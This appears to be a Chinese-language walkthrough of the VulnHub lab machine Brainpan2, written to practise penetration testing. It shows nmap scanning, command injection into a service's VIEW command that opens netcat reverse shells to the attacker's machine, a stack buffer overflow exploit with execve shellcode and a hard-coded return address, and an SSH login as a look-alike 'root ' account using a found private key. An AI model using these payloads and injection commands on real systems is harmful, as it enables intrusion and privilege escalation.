20-VulnHub-Brainpan2
靶机地址:http://www.vulnhub.com/entry/brainpan-2,56/
目标:得到root权限&找到flag.txt
作者:尼德霍格007
时间:2020-08-30
一、信息收集
扫描目标主机
nmap -sP 192.168.21.0/24
扫描开放端口
nmap -A -p- 192.168.21.142
可以看到开放了9999和10000两个端口,前一个是abyss服务,后一个是http服务
先看一下熟悉的http服务
整个页面就一张图片,源码也没有有用信息
看一下9999端口,使用nc连接
nc 192.168.21.142 9999
它看起来像是一个类似于brainpan1.0的二进制文件
试了一下GUEST账户,没有有用的权限
但是好像可以用DEBUG登录
二、发现漏洞
进来之后可以查看系统和文件信息
而且还可以查看/etc/passwd文件的内容
由此看起来没有对VIEW命令进行输入过滤,验证一下
确实可行,id命令也正常执行了,这就好办了
三、获取shell&提权
试一下反向shell
kali开启监听
nc -lnvp 443
这边输入反向shell命令
;nc -e /bin/sh 192.168.21.128 443
已经成功获取到shell,用户名是anansi
python获取交互式shell(使用bash运行命令在export配置临时环境变量时会出错,我之前不知道,在这里卡了好久,所以不推荐使用bash运行命令,但是bash运行命令会有反馈,比较直观)
python -c 'import pty;pty.spawn("/bin/bash")'
开始找有用信息
home目录中有三个用户,一个是自己anansi,一个puck无法访问,只有reynard可以查看
看了一下readme.txt,可以使用msg_root向root用户发送消息
和之前的brainpan1.0有异曲同工之处,看来缓冲区溢出就是正确的提权思路了
在gdb中打开应用程序并发送大量的“a”和“B”,在“username”参数中显示了EIP覆盖
gdb -q msg_root
r `python -c 'print "A"*10000'` `python -c 'print "B"*10000'`
python开启一个http服务
把msg_root文件传输到kali上
curl -O http://192.168.21.142:10001/msg_root
使用ploit-tools工具中的pattern创建字符串
工具地址https://github.com/SaltwaterC/sploit-tools
python pattern.py create 20
在gdb中运行msg_root
没有gdb的话安装一个
apt install gdb
运行生成的字符串
run Aa0Aa1Aa2Aa3Aa4Aa5Aa foo
运行不了,加个权限
chmod +x msg_root
在0x35614134处崩溃了,看看偏移量
python pattern.py offset 0x35614134
有一个14字节的偏移量,然后我们可以覆盖EIP
制作payload
借用Smashing the Stack的shellcode,加了32NOP
s作为前缀。然后,我把所有的东西都放在有效载荷变量中。(注意使用/bin/sh运行命令)
export PAYLOAD=$(python -c 'print(b"\x90" * 32 + b"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh")')
echo -n $PAYLOAD | wc
找出这个变量在堆栈中的位置。
注意最后一个框中的数字要自己慢慢试出来,试出来的前面地址就是需要的地址。直到出现下图中的蓝色框中的内容才行,打完第二条命令后看到前面的地址是0xbffffedf。所以我们需要的地址就是这个。由于处理器的字符顺序不同我们要把它反过来,改为“\xdf\xfe\xff\xbf”。之后按图中红框一步步往下走即可,最后在黄色框位置获得了root权限
x/s *((char **)environ + 3)
x/s *((char **)environ + 3) + strlen("PAYLOAD=")
run Aa0Aa1Aa2Aa3Aa$(python -c "print('\xdf\xfe\xff\xbf')") bar
/home/reynard/msg_root Aa0Aa1Aa2Aa3Aa$(python -c "print('\xdf\xfe\xff\xbf')") bar
查看flag.txt,提示没有权限,查看旁边的whatif.txt文件,提示我们可能不是真正的root用户。而且上一步中的euid=104也很可疑,正常来说root用户应该是uid=0
四、提权了,但没完全root,继续
看一下passwd文件
cat /etc/passwd
原来是有两个root用户,其中一个root用户名后面有一个空格(不细看还真没发现)
找setuid可执行文件
find / -perm -4000 -type f 2>/dev/null
有个opt/old/brainpan-1.8,比较特殊,进去看看
brainpan-1.8中这个几文件比较可疑,把它们下载下来
开启http服务
python -m SimpleHTTPServer 10002 &
kali执行
curl -O http://192.168.21.142:10002/brainpan-1.8.exe
curl -O http://192.168.21.142:10002/brainpan.cfg
curl -O http://192.168.21.142:10002/brainpan7
打开cfg配置文件看到ip和端口
首先编辑这个cfg文件,以便在所有接口上绑定,然后在后台启动服务器
sed -i "s/127.0.0.1/0.0.0.0/g" brainpan.cfg
./brainpan-1.8.exe &
然后nc连接这个端口
nc 192.168.21.142 9333
开启一个监听端口9095
nc -lnvp 9095
然后继续反向shell
a; nc -e /bin/dash 192.168.21.128 9095
这边就可以获得puck的shell
进来了找找有用信息
看到ssh -l "root " brainpan2这一条命令,可疑判断此用户可以作为root用户(带空格)通过SSH服务登入控制台
检查一下SSH服务
cat /etc/ssh/sshd_config
service ssh status
漂亮,该有的都有了
ssh登录
ssh -i .ssh/id_rsa root@127.0.1.1 -p 2222
但是要密码
最后,我决定将backup.ssh目录移回主目录。
mv .ssh .ssh-old
mv .backup/.ssh .
然后ssh登陆
ssh -oStrictHostKeyChecking=no -l "root " 127.0.1.1 -p 2222
好像不太行,换条路,找到/home/puck/.backup/.ssh-old下的id_rsa,用它来登录
ssh -l "root " brainpan2 -p 2222 -i /home/puck/.backup/.ssh-old/id_rsa
五、flag,拿来吧你
成功获得root,这次是真正的root用户
拿到flag
六、总结
中间有事耽搁了半个月没有打靶,手都生了。这次的难点是缓冲区溢出的运用,重点却是识别后面的假root用户且提权到真正的root权限。这一块的内容掌握的不是很好,还得继续努力!